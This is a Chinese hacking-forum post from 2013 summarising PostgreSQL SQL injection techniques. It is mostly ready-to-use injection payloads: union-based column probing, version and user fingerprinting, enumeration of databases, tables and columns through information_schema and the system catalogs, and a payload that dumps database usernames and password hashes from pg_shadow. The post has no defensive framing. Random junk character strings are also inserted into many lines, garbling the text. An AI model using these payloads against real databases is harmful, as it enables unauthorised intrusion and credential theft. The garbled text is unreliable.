找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2058|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点# t6 o" M; _; Q1 w$ s4 L

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
( ?3 G" f; n7 i连接符: %20 , + , /**/

内置函数:9 G  L7 t0 v) @& g; i1 b
current_database() //当前数据库名
' w8 Y. W) `; T9 @& C/ `session_user //会话用户, A( b0 Q1 T  @  R1 S  G6 k
current_user //当前数据库用户
0 W  g( w; f( H% Uuser //当前用户
; x+ W% g9 O2 [( y8 n+ d. Tversion() //数据库版本

Union注射:; d% X* T$ Q2 v7 O: \1 L2 I
order by n–
" m7 r: p' Y2 land 1=2 union select null,null,null–+ Z2 T/ `1 Q$ w: T8 g7 r
and 1=2 union select ‘beach’,null,null–+ S+ X8 W' H% K  L+ r' C
and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):* {/ L( f$ l7 N$ P) W
group_concat(table_name)- i7 w* j0 w3 h" m# k. g) `( y
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–/ G! p9 [: [2 v2 H+ I/ A; A
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–+ ^: ~$ {) R( n
(老版本)
9 w! M; _2 `. l. A' Epg_class.oid对应pg_attribute.attrelid
5 E: _* @6 \, v) r# V5 t( T- n( N1 `- \  qpg_class.relname表名
2 I1 E& n  Z1 e$ B6 F& }/ Hpg_attribute.attname字段名

select relname from pg_class获取表名$ [; X" G4 r* b
select oid from pg_class where 条件 获取参数. b1 G% ?3 L5 ~. v
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:0 X2 ?5 z3 B6 m4 L
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
1 ^8 `( G# o6 \2 E9 ?: zand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–, y9 s7 k0 U0 N* N) U# ^; j% K4 h
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
  Z  W3 Q3 k. x- e5 b======================================================================) p7 E& @5 ^7 o" O2 i
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
' r; {) i9 z0 x) q0 {' Z7 \and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表